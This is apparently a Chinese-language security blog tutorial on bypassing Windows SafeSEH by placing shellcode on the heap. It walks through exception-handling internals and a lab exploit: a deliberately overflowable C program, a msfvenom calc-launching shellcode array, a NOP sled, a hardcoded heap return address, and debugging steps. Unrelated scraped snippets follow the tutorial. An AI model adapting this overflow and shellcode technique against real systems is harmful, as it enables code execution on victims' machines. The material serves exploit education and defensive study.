内存保护机制及绕过方案——从堆中绕过safeSEH
1.1 SafeSEH内存保护机制
1.1.1 Windows异常处理机制
Windows中主要两种异常处理机制,Windows异常处理(VEH、SEH)和C++异常处理。Windows异常处理结构未公开的,包含向量化结构异常VEH及结构化异常处理SEH。由操作系统提供的服务,当一个线程出现错误时,操作系统调用用户定义的一个回调函数_exept_handler。回调函数接收到操作系统传递过来的许多有价值的信息,例如异常的类型和发生的地址。使用这些信息,异常回调函数就能决定下一步做什么。
C++异常处理是C++语言的特性,在Windows平台上由系统提供支持。
Windows异常处理顺序流程
l 终止当前程序的执行
l 调试器(进程必须被调试,向调试器发送EXCEPTION_DEBUG_EVENT消息)
l 执行VEH
l 执行SEH
l TopLevelEH(进程被调试时不会被执行)
l 执行VEH
l 交给调试器(上面的异常处理都说处理不了,就再次交给调试器)
l 调用异常端口通知csrss.exe
1.1.2 SafeSEH工作原理
异常处理链(SEH)结构在通过SHE链绕过/GS中已经介绍过了,这里接直接说safeSEH了,
i. SafeSEH工作流程:
ii. RtlIsVaildHandler() 函数校验流程:
1.1.3 SafeSEH绕过思路
那么有3种情况,系统可以允许异常处理函数执行:
1、异常处理函数位于加载模块内存范围之外,DEP关闭
2、异常处理函数位于加载模块内存范围之内,相应模块未启用SafeSEH(SafeSEH表为空),不是纯IL(ILonly标识,若有这个标志说明该程序只包含.NET编译人中间语言)。
3、异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在SafeSEH表中。
可以看到,我们突破SafeSEH的方法分为3种
1、排除DEP干扰,在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
2、利用未启用SafeSEH模块中的指令作为跳板,转入shellcode执行
3、针对情况3,可以有两种思路,一种是清空safeSEH表,造成该模块为启用safeSEH的假象,二是将我们的指令注入到safeSEH表,但是safeSEH在内存中是加密存放的,突破的难度很大。
额外的思路(更简单的思路)?
1、 覆盖返回地址或者虚表(但是,限制条件很大,如果函数启用了/GS保护机制,且没有虚函数,那么,这种方法就不能使用了)。
2、 利用safeSEH的缺陷——若SHE中的异常处理函数指针指向堆区,那么即使安全校验发现SEH已经不可信,仍会钓鱼其已经修改过的异常处理函数,因此只要将shellcode布置到堆区就可以绕过safeSEH保护机制了。
1.1.4 从堆中绕过safeSEH
⑴. 原理分析:
利用safeSEH的缺陷——若SHE中的异常处理函数指针指向堆区,那么即使安全校验发现SEH已经不可信,仍会钓鱼其已经修改过的异常处理函数,因此只要将shellcode布置到堆区就可以绕过safeSEH保护机制了。
⑵.环境准备:
i.测试代码如下:
#include <stdafx.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xbe\xe8\x88\x3c\xfd\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x30\x31\x72\x13\x03\x72\x13\x83\xea\x14\x6a\xc9\x01\x0c\xe9"
"\x32\xfa\xcc\x8e\xbb\x1f\xfd\x8e\xd8\x54\xad\x3e\xaa\x39\x41"
"\xb4\xfe\xa9\xd2\xb8\xd6\xde\x53\x76\x01\xd0\x64\x2b\x71\x73"
"\xe6\x36\xa6\x53\xd7\xf8\xbb\x92\x10\xe4\x36\xc6\xc9\x62\xe4"
"\xf7\x7e\x3e\x35\x73\xcc\xae\x3d\x60\x84\xd1\x6c\x37\x9f\x8b"
"\xae\xb9\x4c\xa0\xe6\xa1\x91\x8d\xb1\x5a\x61\x79\x40\x8b\xb8"
"\x82\xef\xf2\x75\x71\xf1\x33\xb1\x6a\x84\x4d\xc2\x17\x9f\x89"
"\xb9\xc3\x2a\x0a\x19\x87\x8d\xf6\x98\x44\x4b\x7c\x96\x21\x1f"
"\xda\xba\xb4\xcc\x50\xc6\x3d\xf3\xb6\x4f\x05\xd0\x12\x14\xdd"
"\x79\x02\xf0\xb0\x86\x54\x5b\x6c\x23\x1e\x71\x79\x5e\x7d\x1f"
"\x7c\xec\xfb\x6d\x7e\xee\x03\xc1\x17\xdf\x88\x8e\x60\xe0\x5a"
"\xeb\x9f\xaa\xc7\x5d\x08\x73\x92\xdc\x55\x84\x48\x22\x60\x07"
"\x79\xda\x97\x17\x08\xdf\xdc\x9f\xe0\xad\x4d\x4a\x07\x02\x6d"
"\x5f\x64\xc5\xfd\x03\x6b"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x38\x2C\x56\x00"//address of shellcode in heap
;
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
zero=1/zero;
}
void main(){
char * buf=(char *)malloc(500);
//__asm int 3
strcpy(buf,shellcode);
test(shellcode);
}
将shellcode复制到堆区,在溢出后,用shellcode在堆区的地址溢出到异常处理函数,在test函数中引发除零异常。异常处理函数接管程序,即,shellcode在此时接管程序。
ii.编译属性设置:
关闭DEP,ASLR保护机制,/GS保护机制没有影响。
iii.测试系统和编译器:
测试系统:Windows 7 32位
编译器: Visual studio 2008
⑶.调试分析:
在main函数中,堆指针为[ebp-0x4],shellcode的指针为[ebp-0x8],而ebp = 0x0012ff44。
所以堆指针的地址 = 0x0012ff40,shellcode的指针 = 0x0012ff3c。
查看堆栈:
看到shellcode地址 = 0x00403018,堆的起始地址 = 0x005812e8
执行到test函数:
Shellcode参数入栈,0x0012ff2c。
Eip:0x0012ff28,ebp:0x0012ff24,cookie^ebp:0x0012ff1c,并通过对strcpy函数的分析发现,0x0012ff54是缓冲区开始的地址。
⑷.攻击过程:
i.确定shellcode大小:
攻击思路是:将异常处理函数的指针换成在堆中的shellcode的指针,那么要确定shellcode的大小就要知道异常处理函数的指针在栈中的地址和缓冲区开始的地址,从缓冲区开始,已知覆盖到异常处理函数的指针。
查看SEH链:
SEH链指针在0x0012FF78,那么异常处理函数指针位于0x0012ff7c,又由(3)知缓冲区的起始地址是0x0012fe54。
所以缓冲区大小 = 0x0012ff78 – 0x0012fe54 + 0x4(指针大小) = 300(字节)。
ii.生成恶意代码(弹出计算器):
这里的恶意代码可以用msfconsole生成:
msfvenom -p windows/exec cmd=calc -b '\x00' -f c
生成长度为216字节的恶意代码。
iii.设计shellcode:
由i的分析可知,shellcode的结构应如下所示:
iv.实施攻击:
程序运行到test函数中的strcpy函数运行结束,
可以看到异常处理函数的指针已经被换成了我们的分配的堆的起始地址,
分配的堆中也已经复制到了shellcode。
接着运行程序,应该就能直接弹出计算器来吧?
???失败?
为什么?
因为,堆在内存中是动态分配的,每次运行,系统分配的堆地址都是不同的,所以,应当在程序运行到分配堆之后,将shellcode中的堆地址,改成此次运行系统所分配的堆的地址,如下图所示:
之后运行程序:
成功弹框。
内存保护机制及绕过方案——从堆中绕过safeSEH的更多相关文章
- 内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH
前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴. 原理分析: 一个不是仅包含中间语言(1L)且 ...
- 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制
1 GS内存保护机制 1.1 GS工作原理 栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- jvm之java类加载机制和类加载器(ClassLoader),方法区结构,堆中实例对象结构的详解
一.类加载或类初始化:当程序主动使用某个类时,如果该类还未被加载到内存中,则JVM会通过加载.连接.初始化3个步骤来对该类进行初始化.如果没有意外,JVM将会连续完成3个步骤. 二.类加载时机: 1 ...
- Linux下的ASLR(PIE)内存保护机制
1.1 Linux下的ASLR内存保护机制 1.1.1 Linux下的ASLR工作原理 工作原理与window下的aslr类似 1.1.2 Linux下利用内存地址泄露绕过ASLR ⑴. ...
- Android内存机制分析1——了解Android堆和栈
//----------------------------------------------------------------------------------- Android内存机制分析1 ...
- JVM简介堆中新生代老年代浅析
一.JVM内存结构由程序计数器.堆.栈.本地方法栈.方法区等部分组成.1)程序计数器 几乎不占有内存.用于取下一条执行的指令.2)堆 所有通过new创建的对象的内存都在堆中分配,其大小可以通过-Xmx ...
- JVM 堆中对象分配、布局和访问
本文摘自深入理解 Java 虚拟机第三版 对象的创建 Java 是一门面向对象的语言,Java 程序运行过程中无时无刻都有对象被创建出来.从语言层面看,创建对象只是一个 new 关键字而已,而在虚拟机 ...
- /MT、/MD编译选项,以及可能引起在不同堆中申请、释放内存的问题
一.MD(d).MT(d)编译选项的区别 1.编译选项的位置 以VS2005为例,这样子打开: 1) 打开项目的Property Pages对话框 2) 点击左侧C/C ...
随机推荐
- Oracle 11g数据库详解(3)
ORA-14025:不能为实体化视图或实体化视图日志指定PARTITION ORA-14026:PARTITION和CLUSTER子句互相排斥 ORA-14027:仅可以指定一个PARTITION子句 ...
- n个数里选出m个不重复的数
void change(int *p,int a,int b) { int tmp = *(p + a); *(p + a) = *(p + b); *(p + b) = tmp; } int mai ...
- Redis五(其他操作命令)
其他常用操作 delete(*names) # 根据删除redis中的任意数据类型 exists(name) # 检测redis的name是否存在 keys(pattern='*') # 根据模型获取 ...
- 简明python教程三-----函数
函数通过def关键字定义.def关键字后跟一个函数的表标识符名称,然后跟一对圆括号. 圆括号之中可以包括一些变量名,该行以冒号结尾.接下来是一块语句,它们是函数体. def sayHello(): p ...
- centos7 vmware克隆解决网络问题
centos7克隆后,发现两台机子之间的MAC相同,无法获取IP.超找资料,解决办法如下: 只要删除网卡的配置文件中的HWADDR和UUID两行就行.使用ifup启动网卡即可.
- Python(函数的参数)
函数参数的使用 def foo(x,y): pass foo(1,2) 形参:就是变量名 实参:就是变量值 形参:位置形参,默认参数,*args,命名关键字参数,**kwargs 实参: 按位置传值的 ...
- 开启无线WLAN方式
1.以管理员身份运行命令提示符 因为下面的步骤必须在管理员权限下运行,因此我们从开始菜单找到"命令提示符",或直接键入cmd快速搜索,右键单击它,选择"以管理员身份运行& ...
- LeetCode:数组中的第K个最大元素【215】
LeetCode:数组中的第K个最大元素[215] 题目描述 在未排序的数组中找到第 k 个最大的元素.请注意,你需要找的是数组排序后的第 k 个最大的元素,而不是第 k 个不同的元素. 示例 1: ...
- Codeforces Round #396 (Div. 2) D. Mahmoud and a Dictionary
地址:http://codeforces.com/contest/766/problem/D 题目: D. Mahmoud and a Dictionary time limit per test 4 ...
- java GC 回收机制 转
JVM分代垃圾回收策略的基础概念 由于不同对象的生命周期不一样,因此在JVM的垃圾回收策略中有分代这一策略.本文介绍了分代策略的目标,如何分代,以及垃圾回收的触发因素. 文章总结了JVM垃圾回收策略为 ...